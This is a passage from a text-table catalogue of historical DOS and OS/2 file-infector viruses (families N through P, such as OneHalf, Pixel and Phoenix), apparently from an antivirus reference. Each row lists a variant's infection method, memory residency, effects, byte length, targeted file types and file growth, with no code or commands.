¦.Havoc (2)¦INT ¦MCB ¦ V ¦4644 ¦ .E&E * ¦ e ¦ L+? ¦
¦.N8Fall.527 ¦INT ¦MCB ¦ - ¦527 ¦ .E * ¦ s ¦ companion ¦
¦.N8Fall.4518(2)¦INT ¦MCB ¦ V ¦4518 ¦ CEO * ¦ e ¦ L+(0-49) ¦
¦.N8Fall.5770 ¦INT ¦MCB ¦ V ¦5770 ¦ CEO * ¦ e ¦ L+(0-49) ¦
¦.N8Fall.5081 ¦INT ¦MCB ¦ V ¦5081 ¦ CEO * ¦ e ¦ L+(0-49) ¦
¦.Tremor ¦INT ¦MCB ¦ V ¦4000 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Nexivder.4224 ¦INT ¦MCB ¦ Er ¦4224 ¦ C+boot* ¦ i,e ¦ L ¦
¦Nexivder.4286 ¦INT ¦MCB ¦ Er ¦4286 ¦ C+boot* ¦ i,e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦NG.695 ¦INFI¦MCB ¦ - ¦695 ¦ .C&C* ¦ s ¦ L ¦
¦NG.706 ¦INFI¦KEEP¦ V ¦706 ¦ .C&C ¦ s ¦ L ¦
¦NG.914 ¦INFI¦KEEP¦ - ¦914 ¦ .C&C ¦ s ¦ L ¦
¦NG.1036 ¦INFI¦MCB ¦ Er ¦1036 ¦ .C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Ninja.1181 ¦INT ¦MCB ¦ - ¦1181 ¦ .C.E&CE *¦ e ¦ L+E=0-512,C=0-768¦
¦Ninja.1195 ¦INT ¦MCB ¦ - ¦1195 ¦ .C.E&CE *¦ e ¦ L+E=0-512,C=0-768¦
¦Ninja.1225 ¦INT ¦MCB ¦ H ¦1225 ¦ .C.E&CE *¦ e ¦ L+E=0-512,C=0-768¦
¦Ninja.1376 ¦INT ¦MCB ¦ HV ¦1376 ¦ .C.E&CE *¦ e ¦ L+E=0-512,C=0-768¦
¦Ninja.1336 ¦INT ¦MCB ¦ HV ¦1336 ¦ .C.E&CE *¦ e ¦ L+E=0-512,C=0-768¦
¦Ninja.1383 ¦INT ¦MCB ¦ - ¦1383 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦NoFrills.835 ¦INT ¦MCB ¦ - ¦835 ¦ .C.E&CE * ¦ e ¦ L ¦
¦NoFrills.843 ¦INT ¦MCB ¦ - ¦843 ¦ .C.E&CE * ¦ e ¦ L ¦
¦NoFrills.1358 ¦INT ¦MCB ¦ Er ¦1358 ¦ .C .E&E ¦ e ¦ L ¦
¦NoFrills.1422 ¦INT ¦MCB ¦ VEr¦1422 ¦ .C.E&CE * ¦ e ¦ L ¦
¦.Dudley ¦INT ¦MCB ¦ - ¦1153 ¦ .C.E&CE * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦November17.768 ¦INT ¦MCB ¦ H ¦768 ¦ CE ¦ e ¦ L ¦
¦November17.800 ¦INT ¦MCB ¦ H ¦800 ¦ CE ¦ e ¦ L ¦
¦November17.855 ¦INT ¦MCB ¦ H ¦855 ¦ CE ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Npuxogum.1176 ¦INT ¦MCB ¦ V ¦1176 ¦ CE * ¦ e ¦ L ¦
¦Npuxogum.2025 ¦INT ¦MCB ¦ V ¦2025 ¦ CE * ¦ e ¦ L ¦
¦Npuxogum.2036 ¦INT ¦MCB ¦ V ¦2036 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦NTU.Cawber ¦INT ¦MCB ¦ - ¦2138 ¦ .E&E * ¦ e ¦ L ¦
¦.L'amour ¦INT ¦MCB ¦ H ¦3312 ¦ .E&E * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦NuKE.Pox.609 ¦INT ¦MCB ¦ H ¦609 ¦ C * ¦ e ¦ L ¦
¦NuKE.Pox.900 ¦INT ¦MCB ¦ M ¦900 ¦ .C.E&CE ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Nunjing.1284 ¦INT ¦MCB ¦ - ¦1284 ¦ CE ¦ e ¦ L ¦
¦Nunjing.2976 ¦INT ¦MCB ¦ - ¦2976 ¦ CE ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Nutcracker.88 ¦FIND¦ - ¦ Er ¦88 ¦ .C ¦ e ¦ L ¦
¦.AB1.1924 ¦INT ¦MCB ¦ Ch ¦1924 ¦ CE * ¦ i ¦ L+? ¦
¦.AB1.2244 ¦INT ¦MCB ¦ H ¦2244 ¦ CE * ¦ i ¦ L+? ¦
¦.AB1.2620 ¦INT ¦MCB ¦ H ¦2620 ¦ CE * ¦ i ¦ L+? ¦
¦.AB1.2722 ¦INT ¦MCB ¦ HS ¦2722 ¦ CE * ¦ i ¦ L+? ¦
¦.AB2.2890 ¦INT ¦MCB ¦ HS ¦2890 ¦ CES+boot*¦ i ¦ L+? ¦
¦.AB2.2990 ¦INT ¦MCB ¦HSEr¦2990 ¦ CES+boot*¦ i ¦ L+? ¦
¦.AB2.3021 ¦INT ¦MCB ¦HSEr¦3021 ¦ CES+boot*¦ i ¦ L+? ¦
¦.AB2.3472 ¦INT ¦MCB ¦HSEr¦3472 ¦ CES+boot*¦ i ¦ L+? ¦
¦.AB2.4540 ¦INT ¦MCB ¦HVS ¦4540 ¦ CES+boot*¦ i ¦ L+? ¦
¦.AB2.5375 ¦INT ¦MCB ¦ H ¦5375 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.5413 ¦INT ¦MCB ¦ H ¦5413 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.5440 ¦INT ¦MCB ¦ H ¦5440 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.5589 ¦INT ¦MCB ¦ H ¦5589 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.6082 ¦INT ¦MCB ¦ H ¦6082 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.6100 ¦INT ¦MCB ¦ H ¦6100 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.6425 ¦INT ¦MCB ¦HVEr¦6425 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.6500 ¦INT ¦MCB ¦HVEr¦6500 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.6727 ¦INT ¦MCB ¦HVEr¦6727 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.6982 ¦INT ¦MCB ¦ H ¦6982 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.6996 ¦INT ¦MCB ¦HVEr¦6996 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.7008 (2)¦INT ¦MCB ¦ H ¦7008 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.7033 (2)¦INT ¦MCB ¦ H ¦7033 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.7034 ¦INT ¦MCB ¦ H ¦7034 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB2.7640 ¦INT ¦MCB ¦ H ¦7640 ¦ CES+boot*¦ i,e ¦ L+? ¦
¦.AB3 ¦INT ¦MCB ¦ H ¦2293 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.AB4 ¦INT ¦MCB ¦ H ¦3100 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.AB5.2725 ¦INT ¦MCB ¦ HV ¦2725 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.AB5.2900 ¦INT ¦MCB ¦ HV ¦2900 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.AB5.3139 ¦INT ¦MCB ¦ HV ¦3139 ¦ .C.E&CE* ¦ e ¦ L ¦
¦.AB6 (4)¦INFI¦MCB ¦ HV ¦3500 ¦ CE+boot*¦ e ¦ L ¦
¦.AB7 (2)¦INT ¦MCB ¦ V ¦2000 ¦ E * ¦ e ¦ L ¦
¦.Info.2133 ¦INFI¦MCB ¦ V ¦2133 ¦ .C * ¦ s ¦ L ¦
¦.Info.2142 ¦INFI¦MCB ¦ V ¦2142 ¦ .C * ¦ s ¦ L ¦
¦.Info.2259 ¦INFI¦MCB ¦ V ¦2259 ¦ .C * ¦ s ¦ L ¦
¦.Snowfall.945 ¦INT ¦MCB ¦ V ¦945 ¦ .C&C * ¦ e ¦ L ¦
¦.Snowfall.1015(2INT ¦MCB ¦ V ¦1015 ¦ .C&C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Naive.1647 ¦INT ¦MCB ¦ V ¦1647 ¦ E * ¦ e ¦ L ¦
¦Nameless.3000 ¦INT ¦KEEP¦ HV ¦3000 ¦ .C.E * ¦ s ¦ L or L+5000 ¦
¦Ncu-li.1688 ¦INT ¦MCB ¦ V ¦1688 ¦ E ¦ e ¦ L+p ¦
¦NeedLove.5000 ¦INT ¦MCB ¦ HV ¦5000 ¦ CE * ¦ s ¦ L ¦
¦Necropolis.1963¦INT ¦MCB ¦ - ¦1963 ¦ CE ¦CsEi ¦ 0 ¦
¦Necros.1164 ¦INT ¦KEEP¦ VS ¦1164 ¦ .C&C.E * ¦ s ¦ C-L, E-companion ¦
¦Neko.2697 ¦INT ¦KEEP¦ VEr¦2697 ¦ E * ¦ e ¦ L+p ¦
¦Nessuno.2170 ¦INT ¦MCB ¦ H ¦2170 ¦ E * ¦ e ¦ L+? ¦
¦Net.4340 ¦INT ¦MCB ¦ H ¦4340 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦NextGen.2304 ¦INT ¦MCB ¦ - ¦2304 ¦ .E&E * ¦ e ¦ L+p+? ¦
¦Nigeb.890 ¦INT ¦KEEP¦ HV ¦890 ¦ C * ¦ e ¦ L ¦
¦Night.2048 ¦INT ¦MCB ¦ HVS¦2048 ¦ CE ¦ e ¦ L+p ¦
¦NightKnight.1940INT ¦MCB ¦ H ¦1940 ¦ .C.E&CE ¦ e ¦ C-L+8, E-L+4 ¦
¦Nikolas.1101 ¦INT ¦MCB ¦ - ¦1101 ¦ CE * ¦ e ¦ L ¦
¦Nilz.1000 ¦INFI¦MCB ¦ HV ¦1000 ¦ E * ¦ e ¦ L ¦
¦Nina.256 ¦INT ¦MCB ¦ - ¦256 ¦ C ¦ s ¦ L ¦
¦NinetyTwo.1148 ¦FIND¦ - ¦ V ¦1148 ¦ .E&E ¦ e ¦ L+p ¦
¦Nki.3477 ¦INT ¦MCB ¦ HV ¦3477 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Nocopy.3695 ¦INT ¦KEEP¦ - ¦3695 ¦ .E&E * ¦ e ¦ L+p ¦
¦NoDBF.1000 ¦INT ¦MCB ¦ Ch ¦1000 ¦ E * ¦ e ¦ L+p ¦
¦NoGraph.784 ¦INT ¦MCB ¦ HCh¦784 ¦ .C&C * ¦ e ¦ L ¦
¦NoHope.257 ¦FIND¦ - ¦ - ¦257 ¦ .C ¦ e ¦ L ¦
¦Noki.448 ¦INT ¦INTB¦ - ¦448 ¦ E * ¦ i ¦ 0 ¦
¦Nomenklatura.1024INT¦MCB ¦ - ¦1024 ¦ CE * ¦ e ¦ L ¦
¦NoPM.494 ¦INT ¦MCB ¦ - ¦494 ¦ C ¦ s ¦ L ¦
¦NoRemorse.1319 ¦FIND¦ - ¦ HV ¦1319 ¦ .C.E&CE* ¦ s ¦ C-L, E-companion ¦
¦Not.397 ¦INT ¦MCB ¦ - ¦397 ¦ .C&C ¦ e ¦ L ¦
¦NotAX.825 ¦INT ¦MCB ¦ - ¦825 ¦ CE ¦ e ¦ L+p ¦
¦Nsd.266 ¦FIND¦ - ¦ V ¦266 ¦ .C * ¦ e ¦ L ¦
¦Nsi.1509 ¦INT ¦ADDR¦ HEr¦1509 ¦ .C.E&CE* ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part O
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦OldYankee.1961 ¦FIND¦ - ¦ S ¦1961 ¦ .E&E * ¦ e ¦ L ¦
¦.Bandit ¦FIND¦ - ¦ H ¦1641 ¦ .E&E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦OneHalf.3544(7)¦INT ¦MCB ¦ HV ¦3544 ¦.C.E&CE+boot i+e ¦ L * ¦
¦OneHalf.3570 ¦INT ¦MCB ¦ HV ¦3570 ¦.C.E&CE+boot i+e ¦ L * ¦
¦OneHalf.3577 ¦INT ¦MCB ¦ HV ¦3577 ¦.C.E&CE+boot i+e ¦ L * ¦
¦OneHalf.3666 ¦INT ¦MCB ¦ HV ¦3666 ¦.C.E&CE+boot i+e ¦ L * ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Orion.262 ¦INT ¦ * ¦ - ¦262 ¦ C ¦ s ¦ L ¦
¦Orion.365 ¦INT ¦ * ¦ - ¦365 ¦ C ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦OS/2 - viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦OS2.Arelocs ¦FIND¦ - ¦ - ¦1772 ¦NewExe (NE)¦ i ¦ L+p ¦
¦.First ¦FIND¦ - ¦ HV ¦2048 ¦NewExe (LX)¦ s ¦ 0, overwrite ¦
¦.Jiskefet ¦FIND¦ - ¦ - ¦2048 ¦NewExe (LX)¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Oxana.747 ¦INT ¦MCB ¦ - ¦747 ¦ E * ¦ e ¦ L+p ¦
¦Oxana.819 ¦INT ¦MCB ¦ - ¦819 ¦ E * ¦ e ¦ L+p ¦
¦Oxana.1419 ¦INT ¦MCB ¦ V ¦1419 ¦ E * ¦ e ¦ L+17 ¦
¦Oxana.1555 ¦INT ¦MCB ¦ V ¦1555 ¦ E * ¦ e ¦ L+17 ¦
¦Oxana.1653 ¦INT ¦MCB ¦ V ¦1653 ¦ E * ¦ e ¦ L+17 ¦
¦Oxana.1654 ¦INT ¦MCB ¦ - ¦1654 ¦ E * ¦ e ¦ L+17 ¦
¦Oxana.1702 ¦INT ¦MCB ¦ V ¦1702 ¦ E * ¦ e ¦ L+17 ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Obid.555 ¦FIND¦ - ¦ V ¦555 ¦ .C * ¦ e ¦ L ¦
¦Ocean.1021 ¦INT ¦MCB ¦ HV ¦1021 ¦ C ¦ e ¦ L ¦
¦Ocsana.692 ¦INT ¦MCB ¦ VEr¦692 ¦ .C * ¦ s ¦ L ¦
¦Odium.613 ¦FIND¦ - ¦ H ¦613 ¦ .C&C * ¦ e ¦ L ¦
¦Ogwo.446 ¦FIND¦ - ¦ - ¦446 ¦ .C ¦ e ¦ L+p ¦
¦OhLaLa.1895 ¦FIND¦ - ¦ VS ¦1895 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Ohm.777 ¦INT ¦MCB ¦ H ¦777 ¦ CE ¦ e ¦ L ¦
¦OkYes.1257 ¦FIND¦ - ¦ HVS¦1257 ¦ .C.E * ¦CsEe ¦ C-L, E-L+18+p ¦
¦Olenka.6144 ¦INT ¦MCB ¦ V ¦6144 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦Olga.4448 ¦INT ¦MCB ¦ HV ¦4448 ¦ C * ¦ s ¦ L ¦
¦Omega.440 ¦FIND¦ - ¦ H ¦440 ¦ .C ¦ e ¦ L ¦
¦Ontario.512 ¦INT ¦MCB ¦ - ¦512 ¦ CE ¦ e ¦ C-L, E-L+p ¦
¦Oolong.1380 ¦INT ¦KEEP¦ Er ¦1380 ¦ .C.E ¦ e ¦ L ¦
¦Oops.600 ¦INT ¦KEEP¦ V ¦600 ¦ C * ¦ e ¦ L ¦
¦Otti.937 ¦FIND¦ - ¦ H ¦937 ¦ .C * ¦ e ¦ L ¦
¦Ox.475 ¦INT ¦MCB ¦ - ¦475 ¦ C * ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part P
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Pamyat.2000 (5)¦FIND¦ - ¦ V ¦2000 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Pamyat.3000 (2)¦FIND¦ - ¦ HV ¦3000 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Panda.1062 ¦FIND¦ - ¦ - ¦1062 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦Panda.1070 ¦FIND¦ - ¦ - ¦1070 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Pande.1516 ¦INT ¦MCB ¦ - ¦1516 ¦ CE * ¦ e ¦ L ¦
¦Pande.1520 ¦INT ¦MCB ¦ - ¦1520 ¦ CE * ¦ e ¦ L ¦
¦Pande.1532 ¦INT ¦MCB ¦ - ¦1532 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Phalcon.984 ¦FIND¦ * ¦ H ¦984 ¦ .C * ¦ e ¦ L ¦
¦.BobRoss.1110 ¦FIND¦ - ¦ V ¦1110 ¦ .C * ¦ e ¦ L ¦
¦.BobRoss.1117(2¦FIND¦ - ¦ V ¦1117 ¦ .C * ¦ e ¦ L ¦
¦.BobRoss.1133 ¦FIND¦ - ¦ V ¦1133 ¦ .C * ¦ e ¦ L ¦
¦.Dcool ¦FIND¦ - ¦ V ¦1811 ¦ .C * ¦ e ¦ L ¦
¦.Maria ¦FIND¦ - ¦ HV ¦1126 ¦ .C * ¦ e ¦ L ¦
¦.Psychosis ¦FIND¦ - ¦ V ¦1202 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Phantom1.7000(4)INT ¦KEEP¦ V ¦7000 ¦ CE * ¦ e ¦ L+? ¦
¦Phantom1.7100 ¦INT ¦KEEP¦ V ¦7100 ¦ CE * ¦ e ¦ L+? ¦
¦Phantom1.7160 ¦INT ¦KEEP¦ V ¦7160 ¦ CE * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦PHB.4315 ¦FIND¦ - ¦ HV ¦4315 ¦ *.* * ¦ s ¦ 0, overwrite ¦
¦PHB.4461 ¦FIND¦ - ¦ V ¦4461 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Phoenix.800 ¦INT ¦MCB ¦ - ¦800 ¦ .C&C ¦ i ¦ L ++ ¦
¦Phoenix.1226 ¦INT ¦MCB ¦ - ¦1226 ¦ .C&C ¦ i ¦ L ¦
¦Phoenix.1302 ¦INT ¦MCB ¦ H ¦1302 ¦ C ¦ i ¦ L ++ ¦
¦Phoenix.1701 ¦INT ¦MCB ¦ H ¦1701 ¦ C ¦ i ¦ L ¦
¦Phoenix.1704 ¦INT ¦MCB ¦ H ¦1704 ¦ C ¦ i ¦ L ¦
¦Phoenix.2000(2)¦INT ¦MCB ¦ H ¦2000 ¦ C ¦ i ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Phx.823 ¦INT ¦MCB ¦ - ¦823 ¦ .C.E&CE *¦ e ¦ C-L, E-L+p ¦
¦Phx.965 ¦INT ¦MCB ¦ H ¦965 ¦ .C.E&CE *¦ e ¦ C-L, E-L+p ¦
¦Phx.1289 ¦INT ¦MCB ¦ H ¦1289 ¦ CE ¦ e ¦ C-L, E-L+p ¦
¦Phx.1295 ¦INT ¦MCB ¦ H ¦1295 ¦ CE ¦ e ¦ C-L, E-L+p ¦
¦Phx.1336 ¦INT ¦MCB ¦ H ¦1336 ¦ CE ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Pindonga.3550 ¦INT ¦MCB ¦ HV ¦3550 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦Pindonga.3652 ¦INT ¦MCB ¦ HV ¦3652 ¦ .C.E&CE* ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Pixel.299 ¦FIND¦ - ¦ V ¦299 ¦ .C * ¦ s ¦ L ¦
¦Pixel.342 ¦FIND¦ - ¦ V ¦342 ¦ .C * ¦ s ¦ L ¦
¦Pixel.345 ¦FIND¦ - ¦ V ¦345 ¦ .C * ¦ s ¦ L ¦
¦Pixel.457 ¦FIND¦ - ¦ V ¦457 ¦ .C * ¦ s ¦ L ¦
¦Pixel.550 ¦FIND¦ - ¦ V ¦550 ¦ .C * ¦ s ¦ L ¦
¦Pixel.739 ¦FIND¦ - ¦ - ¦739 ¦ .C ¦ s ¦ L ¦
¦Pixel.740 ¦FIND¦ - ¦ - ¦740 ¦ .C ¦ s ¦ L ¦
¦Pixel.846 ¦FIND¦ - ¦ V ¦846 ¦ .C * ¦ s ¦ L ¦
¦Pixel.847 (2)¦FIND¦ - ¦ V ¦847 ¦ .C * ¦ s ¦ L ¦
¦Pixel.851 ¦FIND¦ - ¦ V ¦851 ¦ .C * ¦ s ¦ L ¦
¦Pixel.852 ¦FIND¦ - ¦ V ¦852 ¦ .C * ¦ s ¦ L ¦
¦Pixel.877 ¦FIND¦ - ¦ V ¦877 ¦ .C * ¦ s ¦ L ++ ¦
¦Pixel.1268 ¦FIND¦ - ¦ V ¦1268 ¦ .C * ¦ s ¦ L ++ ¦
¦Pixel.1271 ¦FIND¦ - ¦ V ¦1271 ¦ .C * ¦ s ¦ L ¦
¦.Areill ¦FIND¦ - ¦ V ¦573 ¦ .C ¦ s ¦ L ¦
¦.Flea.1577 ¦FIND¦ - ¦ H ¦1577 ¦ .C&A*.* *¦ s ¦ L, 0-overwrite ¦
¦.Flea.1647 ¦FIND¦ - ¦ H ¦1647 ¦ .C&A*.* *¦ s ¦ L, 0-overwrite ¦
¦.Hydra.340 ¦FIND¦ - ¦ VCh¦340 ¦ .C * ¦ s ¦ L ¦
¦.Hydra.342 ¦FIND¦ - ¦ VCh¦342 ¦ .C * ¦ s ¦ L ¦
¦.Hydra.343 ¦FIND¦ - ¦ VCh¦343 ¦ .C * ¦ s ¦ L ¦
¦.Hydra.368 ¦FIND¦ - ¦ H ¦368 ¦ .C * ¦ s ¦ L ¦
¦.Hydra.372 ¦FIND¦ - ¦ H ¦372 ¦ .C * ¦ s ¦ L ¦
¦.Hydra.391 ¦FIND¦ - ¦ H ¦391 ¦ .C * ¦ s ¦ L ¦
¦.Hydra.403 ¦FIND¦ - ¦ VCh¦403 ¦ .C * ¦ s ¦ L ¦
¦.Hydra.495 ¦FIND¦ - ¦ HV ¦495 ¦ .C * ¦ s ¦ L ¦
¦.Hydra.736 ¦FIND¦ - ¦ V ¦736 ¦ .C * ¦ s ¦ L ¦
¦.Hydra.1667 ¦FIND¦ - ¦ V ¦1667 ¦ .C&C ¦ s ¦ L ¦
¦.Hydra.2300 ¦FIND¦ - ¦ V ¦2300 ¦ .C&C ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Platov.1644 ¦INFI¦ADDR¦ HV ¦1644 ¦ .C&C* ¦ e ¦ L ¦
¦Platov.1700 ¦INFI¦ADDR¦ HV ¦1700 ¦ .C&C* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Ply.based viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦Ply.3360 ¦FIND¦ - ¦ Er ¦3360 ¦ .E&E * ¦ e ¦ L ¦
¦Ply.3486 ¦FIND¦ - ¦ Er ¦3486 ¦ .E&E * ¦ e ¦ L ¦
¦Ply.3759 ¦FIND¦ - ¦ Er ¦3759 ¦ .E&E * ¦ e ¦ L ¦
¦Ply.3768 ¦FIND¦ - ¦ Er ¦3768 ¦ .E&E * ¦ e ¦ L ¦
¦Ply.4224 ¦FIND¦ - ¦ Er ¦4224 ¦ .E&E * ¦ e ¦ L ¦
¦Ply.4722 ¦FIND¦ - ¦ HEr¦4722 ¦ .E&E * ¦ e ¦ L ¦
¦Ply.5133 ¦FIND¦ - ¦ HEr¦5133 ¦ .E&E * ¦ e ¦ L ¦
¦Ply.5175 ¦FIND¦ - ¦ HEr¦5175 ¦ .E&E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦PME.based viruses ¦
¦- - - - - - - -+- - + - -+ - -+ - - + - - - - - + - - + - - - - - - - - -¦
¦PME.Burglar ¦INT ¦MCB ¦ VEr¦3788 ¦ .C.E&CE* ¦CsEe ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Pojer.1941 ¦INT ¦MCB ¦ VS ¦1941 ¦ .C.E&CE *¦ e ¦ L ¦
¦Pojer.4028 ¦INT ¦MCB ¦ VS ¦4028 ¦ .C.E&CE *¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Porridge.1061(2¦FIND¦ - ¦ V ¦1061 ¦ .C ¦ s ¦ L ¦
¦Porridge.1384 ¦FIND¦ - ¦ V ¦1384 ¦ .C ¦ s ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Possessed.2175 ¦INT ¦KEEP¦ HV ¦2175 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Possessed.2367 ¦INT ¦KEEP¦ HV ¦2367 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Possessed.2438 ¦INT ¦KEEP¦ HV ¦2438 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Possessed.2443 ¦INT ¦KEEP¦ HV ¦2443 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Possessed.2446(2INT ¦KEEP¦ HV ¦2446 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Predator.1063 ¦INT ¦MCB ¦ Ch ¦1063 ¦ .C&C * ¦ e ¦ L ¦
¦Predator.1072(2)INT ¦MCB ¦ Ch ¦1072 ¦ .C&C * ¦ e ¦ L ¦
¦Predator.1137 ¦INT ¦MCB ¦ Ch ¦1137 ¦ .C&C * ¦ e ¦ L ¦
¦Predator.1148 ¦INT ¦MCB ¦ Ch ¦1148 ¦ .C&C * ¦ e ¦ L ¦
¦Predator.1154 ¦INT ¦MCB ¦ Ch ¦1154 ¦ .C&C * ¦ e ¦ L ¦
¦Predator.1195 ¦INT ¦MCB ¦ Ch ¦1195 ¦ .C&C * ¦ e ¦ L ¦
¦Predator.1879 ¦INT ¦MCB ¦ Ch ¦1879 ¦ CE ¦ e ¦ L ¦
¦Predator.2448 ¦INT ¦MCB ¦ - ¦2448 ¦ CE+boot * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Problem.734 ¦INT ¦MCB ¦ - ¦734 ¦ E * ¦ e ¦ L ¦
¦Problem.845 ¦INT ¦MCB ¦ - ¦845 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Problem.854 ¦INT ¦MCB ¦ - ¦854 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Problem.856 ¦INT ¦MCB ¦ - ¦856 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Problem.857 ¦INT ¦MCB ¦ - ¦857 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Problem.863 ¦INT ¦MCB ¦ - ¦863 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Protect.1323 ¦INT ¦MCB ¦ V ¦1323 ¦ CE ¦ e ¦ L ¦
¦Protect.2535 ¦INT ¦MCB ¦ V ¦2535 ¦ CE ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Panek.1939 ¦FIND¦ - ¦ V ¦1939 ¦ .E ¦ e ¦ L ¦
¦Pantera.400 ¦INT ¦MCB ¦ - ¦400 ¦ C * ¦ e ¦ L ¦
¦Papercut.2717 ¦INT ¦MCB ¦ - ¦2717 ¦ CE ¦ e ¦ L ¦
¦Paul.1536 ¦INT ¦MCB ¦ - ¦1536 ¦ CE * ¦ e ¦ L ¦
¦Paulus.1804 ¦INT ¦MCB ¦ VCh¦1804 ¦ CE * ¦ e ¦ L ¦
¦Pcbb.J4j.833 ¦INT ¦MCB ¦ - ¦833 ¦ .C&C* ¦ e ¦ L ¦
¦PeaceKeeper.3820INT ¦MCB ¦ HV ¦3820 ¦ CE * ¦CieEe¦ L+? ¦
¦Peach.887 ¦INT ¦MCB ¦ - ¦887 ¦ CE * ¦ e ¦ L+p ¦
¦Peel.334 ¦FIND¦ - ¦ H ¦334 ¦ .C * ¦ e ¦ L ¦
¦Penetrator.491 ¦INT ¦MCB ¦ V ¦491 ¦ C * ¦ e ¦ L+p ¦
¦Pest.2743 ¦INT ¦MCB ¦ H ¦2743 ¦ CE * ¦ e ¦ L+? ¦
